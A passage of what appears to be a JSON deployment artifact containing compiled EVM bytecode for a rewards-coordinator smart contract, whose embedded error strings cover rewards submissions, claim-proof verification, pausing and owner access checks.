5b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f000000000000000000000000000000000000000000000000000000000000000016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000000000611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000000000611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f5345434f4e445360801b60a482015260c40161089e565b61206b60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff16426120a391906137cb565b111580156120ec57506120bc60808201606083016132e5565b63ffffffff167f000000000000000000000000000000000000000000000000000000000000000063ffffffff1611155b6121665760405162461bcd60e51b8152602060048201526051602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152701bc819985c881a5b881d1a19481c185cdd607a1b608482015260a40161089e565b61219663ffffffff7f0000000000000000000000000000000000000000000000000000000000000000164261370a565b6121a660808301606084016132e5565b63ffffffff16111561222a5760405162461bcd60e51b8152602060048201526053602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d7020746f6064820152726f2066617220696e207468652066757475726560681b608482015260a40161089e565b6000805b6122388380613781565b905081101561245357600061224d8480613781565b8381811061225d5761225d613569565b61227392602060409092020190810191506130f0565b60405163198f077960e21b81526001600160a01b0380831660048301529192507f00000000000000000000000000000000000000000000000000000000000000009091169063663c1de490602401602060405180830381865afa1580156122de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123029190613496565b8061232957506001600160a01b03811673beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0145b61239c5760405162461bcd60e51b815260206004820152604a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20696e76616c69642073747261746567792060648201526918dbdb9cda59195c995960b21b608482015260a40161089e565b806001600160a01b0316836001600160a01b0316106124495760405162461bcd60e51b8152602060048201526069602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a2073747261746567696573206d757374206260648201527f6520696e20617363656e64696e67206f7264657220746f2068616e646c65206460848201526875706c69636174657360b81b60a482015260c40161089e565b915060010161222e565b505050565b6040516001600160a01b03808516602483015283166044820152606481018290526124c39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612aa5565b50505050565b806040015163ffffffff164210156125425760405162461bcd60e51b815260206004820152603660248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a206044820152751c9bdbdd081b9bdd081858dd1a5d985d1959081e595d60521b606482015260840161089e565b61254f60c0830183613730565b905061255e60a0840184613730565b9050146125e85760405162461bcd60e51b815260206004820152604c60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e496e646963657320616e6420746f6b656e50726f6f6673206c656e60648201526b0cee8d040dad2e6dac2e8c6d60a31b608482015260a40161089e565b6125f560e0830183613781565b905061260460c0840184613730565b90501461268c5760405162461bcd60e51b815260206004820152604a60248201527f52657761726473436f6f7264696e61746f722e5f636865636b436c61696d3a2060448201527f746f6b656e5472656550726f6f667320616e64206c6561766573206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a40161089e565b80516126b8906126a260408501602086016132e5565b6126af6040860186613874565b86606001612b77565b60005b6126c860a0840184613730565b90508110156124535761276260808401356126e660a0860186613730565b848181106126f6576126f6613569565b905060200201602081019061270b91906132e5565b61271860c0870187613730565b8581811061272857612728613569565b905060200281019061273a9190613874565b61274760e0890189613781565b8781811061275757612757613569565b905060400201612ceb565b6001016126bb565b6040516001600160a01b03831660248201526044810182905261245390849063a9059cbb60e01b9060640161248c565b60cb546040805163ffffffff600160a01b9093048316815291831660208301527faf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3910160405180910390a160cb805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60cb546040516001600160a01b038084169216907f237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb90600090a360cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6065546001600160a01b031615801561297157506001600160a01b03821615155b6129f35760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2612a3682611b91565b5050565b60cb546040805161ffff600160e01b9093048316815291831660208301527f8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06910160405180910390a160cb805461ffff909216600160e01b0261ffff60e01b19909216919091179055565b6000612afa826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e3c9092919063ffffffff16565b8051909150156124535780806020019051810190612b189190613496565b6124535760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161089e565b612b826020836138bb565b6001901b8463ffffffff1610612c0c5760405162461bcd60e51b815260206004820152604360248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e65724c656166496e6064820152620c8caf60eb1b608482015260a40161089e565b6000612c17826109f2565b9050612c6284848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152604660248201527f52657761726473436f6f7264696e61746f722e5f7665726966794561726e657260448201527f436c61696d50726f6f663a20696e76616c6964206561726e657220636c61696d60648201526510383937b7b360d11b608482015260a40161089e565b505050505050565b612cf66020836138bb565b6001901b8463ffffffff1610612d745760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e4c656166496e64657800000000606482015260840161089e565b6000612d7f82611858565b9050612dca84848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508a92508591505063ffffffff8916612e53565b612ce35760405162461bcd60e51b815260206004820152603f60248201527f52657761726473436f6f7264696e61746f722e5f766572696679546f6b656e4360448201527f6c61696d3a20696e76616c696420746f6b656e20636c61696d2070726f6f6600606482015260840161089e565b6060612e4b8484600085612e6b565b949350505050565b600083612e61868585612f9c565b1495945050505050565b606082471015612ecc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161089e565b6001600160a01b0385163b612f235760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161089e565b600080866001600160a01b03168587604051612f3f91906138f3565b60006040518083038185875af1925050503d8060008114612f7c576040519150601f19603f3d011682016040523d82523d6000602084013e612f81565b606091505b5091509150612f918282866130a2565b979650505050505050565b600060208451612fac9190613905565b156130335760405162461bcd60e51b815260206004820152604b60248201527f4d65726b6c652e70726f63657373496e636c7573696f6e50726f6f664b65636360448201527f616b3a2070726f6f66206c656e6774682073686f756c642062652061206d756c60648201526a3a34b836329037b310199960a91b608482015260a40161089e565b8260205b855181116130995761304a600285613905565b60000361306e57816000528086015160205260406000209150600284049350613087565b8086015160005281602052604060002091506002840493505b61309260208261370a565b9050613037565b50949350505050565b606083156130b157508161171d565b8251156130c15782518084602001fd5b8160405162461bcd60e51b815260040161089e9190613919565b6001600160a01b03811681146108b057600080fd5b60006020828403121561310257600080fd5b813561171d816130db565b80151581146108b057600080fd5b6000806040838503121561312e57600080fd5b8235613139816130db565b915060208301356131498161310d565b809150509250929050565b60006020828403121561316657600080fd5b5035919050565b60006040828403121561317f57600080fd5b50919050565b60006040828403121561319757600080fd5b61171d838361316d565b600080604083850312156131b457600080fd5b82356131bf816130db565b91506020830135613149816130db565b600080602083850312156131e257600080fd5b823567ffffffffffffffff8111156131f957600080fd5b8301601f8101851361320a57600080fd5b803567ffffffffffffffff81111561322157600080fd5b8560208260051b840101111561323657600080fd5b6020919091019590945092505050565b6000610100828403121561317f57600080fd5b6000806040838503121561326c57600080fd5b823567ffffffffffffffff81111561328357600080fd5b61328f85828601613246565b9250506020830135613149816130db565b803563ffffffff811681146132b457600080fd5b919050565b600080604083850312156132cc57600080fd5b823591506132dc602084016132a0565b90509250929050565b6000602082840312156132f757600080fd5b61171d826132a0565b60006020828403121561331257600080fd5b813560ff8116811461171d57600080fd5b60006020828403121561333557600080fd5b813567ffffffffffffffff81111561334c57600080fd5b612e4b84828501613246565b6000806040838503121561336b57600080fd5b8235613376816130db565b946020939093013593505050565b80356132b4816130db565b803561ffff811681146132b457600080fd5b60008060008060008060c087890312156133ba57600080fd5b86356133c5816130db565b955060208701356133d5816130db565b94506040870135935060608701356133ec816130db565b92506133fa608088016132a0565b915061340860a0880161338f565b90509295509295509295565b60006020828403121561342657600080fd5b61171d8261338f565b60006020828403121561344157600080fd5b815161171d816130db565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156134a857600080fd5b815161171d8161310d565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60008235609e1983360301811261359557600080fd5b9190910192915050565b81835260208301925060008160005b848110156136055781356135c1816130db565b6001600160a01b0316865260208201356bffffffffffffffffffffffff81168082146135ec57600080fd5b60208801525060409586019591909101906001016135ae565b5093949350505050565b60008135601e1983360301811261362557600080fd5b820160208101903567ffffffffffffffff81111561364257600080fd5b8060061b360382131561365457600080fd5b60a0855261366660a08601828461359f565b91505061367560208401613384565b6001600160a01b0316602085015260408381013590850152613699606084016132a0565b63ffffffff1660608501526136b0608084016132a0565b63ffffffff81166080860152509392505050565b60018060a01b03841681528260208201526060604082015260006136eb606083018461360f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a7757610a776136f4565b60208152600061171d602083018461360f565b6000808335601e1984360301811261374757600080fd5b83018035915067ffffffffffffffff82111561376257600080fd5b6020019150600581901b360382131561377a57600080fd5b9250929050565b6000808335601e1984360301811261379857600080fd5b83018035915067ffffffffffffffff8211156137b357600080fd5b6020019150600681901b360382131561377a57600080fd5b81810381811115610a7757610a776136f4565b63ffffffff8181168382160190811115610a7757610a776136f4565b63ffffffff8281168282160390811115610a7757610a776136f4565b600063ffffffff82168061382c5761382c6136f4565b6000190192915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff83168061386257613862613836565b8063ffffffff84160691505092915050565b6000808335601e1984360301811261388b57600080fd5b83018035915067ffffffffffffffff8211156138a657600080fd5b60200191503681900382131561377a57600080fd5b6000826138ca576138ca613836565b500490565b60005b838110156138ea5781810151838201526020016138d2565b50506000910152565b600082516135958184602087016138cf565b60008261391457613914613836565b500690565b60208152600082518060208401526139388160408501602087016138cf565b601f01601f1916919091016040019291505056fe52657761726473436f6f7264696e61746f722e5f76616c696461746552657761a2646970667358221220817e7c73564266312bb51c837933bb59af47a68ee6c566d48ffce124f608594c64736f6c634300081c0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c90000000000000000000000000000000000000000000000000000000000093a8000000000000000000000000000000000000000000000000000000000005c4900000000000000000000000000000000000000000000000000000000000076a7000000000000000000000000000000000000000000000000000000000000278d000000000000000000000000000000000000000000000000000000000065fb7880", - "output": "0x608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f0000000000000000000000000000000000000000000000000000000000278d0081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f0000000000000000000000000000000000000000000000000000000065fb788081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000076a70081565b6103e97f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f0000000000000000000000000000000000000000000000000000000000093a8081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f00000000000000000000000000000000000000000000000000000000005c490081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000007a69460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016109e7565b6066546000906001908116036119ed5760405162461bcd60e51b815260040161089e906134fb565b600260975403611a0f5760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110611a3257611a32613569565b9050602002810190611a44919061357f565b33600081815260ce60209081526040808320549051949550939192611a6f92909185918791016136c4565b604051602081830303815290604052805190602001209050611a9083611c88565b33600090815260cf602090815260408083208484529091529020805460ff19166001908117909155611ac390839061370a565b33600081815260ce602052604090819020929092559051829184917f450a367a380c4e339e5ae7340c8464ef27af7781ad9945cfe8abd828f89e628190611b0b90889061371d565b60405180910390a4611b2c333060408601803590610c8390602089016130f0565b505050600101611a17565b6033546001600160a01b031633146114f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161089e565b6001600160a01b038116611c1f5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161089e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c948280613781565b905011611cf9576040805162461bcd60e51b815260206004820152602481019190915260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206e6f207374726174656769657320736574606482015260840161089e565b6000816040013511611d6b5760405162461bcd60e51b8152602060048201526041602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e742063616e6e6f74206265206064820152600360fc1b608482015260a40161089e565b6f4b3b4ca85a86c47a098a223fffffffff81604001351115611de35760405162461bcd60e51b815260206004820152603f602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20616d6f756e7420746f6f206c6172676500606482015260840161089e565b63ffffffff7f00000000000000000000000000000000000000000000000000000000005c490016611e1a60a08301608084016132e5565b63ffffffff161115611e9f5760405162461bcd60e51b8152602060048201526054602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e20657863656564732060648201527326a0ac2fa922aba0a92229afa22aa920aa24a7a760611b608482015260a40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611ed060a08301608084016132e5565b611eda919061384c565b63ffffffff1615611f7a5760405162461bcd60e51b815260206004820152606a602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a206475726174696f6e206d7573742062652060648201527f61206d756c7469706c65206f662043414c43554c4154494f4e5f494e54455256608482015269414c5f5345434f4e445360b01b60a482015260c40161089e565b7f0000000000000000000000000000000000000000000000000000000000093a80611fab60808301606084016132e5565b611fb5919061384c565b63ffffffff161561205b5760405162461bcd60e51b8152602060048201526070602482015260008051602061394d83398151915260448201527f7264735375626d697373696f6e3a20737461727454696d657374616d70206d7560648201527f73742062652061206d756c7469706c65206f662043414c43554c4154494f4e5f60848201526f494e54455256414c5f53